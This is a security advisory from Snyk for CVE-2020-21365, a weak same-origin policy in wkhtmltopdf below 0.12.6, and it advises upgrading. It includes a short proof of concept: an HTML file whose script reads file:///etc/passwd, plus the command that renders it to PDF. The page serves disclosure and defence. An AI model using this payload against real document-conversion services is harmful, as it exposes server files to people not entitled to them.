Information Exposure Affecting wkhtmltopdf/wkhtmltopdf package, versions [,0.12.6)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-UNMANAGED-WKHTMLTOPDFWKHTMLTOPDF-2981043
- published16 Aug 2022
- disclosed16 Aug 2022
- creditarr0w1
Introduced: 16 Aug 2022
CVE-2020-21365 (opens in a new tab)How to fix?
Upgrade wkhtmltopdf/wkhtmltopdf to version 0.12.6 or higher.
Overview
Affected versions of this package are vulnerable to Information Exposure due to weak same-origin policy, which makes it exploitable via a crafted HTML file running with the default configurations.
PoC:
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body></html>
// Convert to PDF:
wkhtmltopdf /tmp/111.html /tmp/result.pdf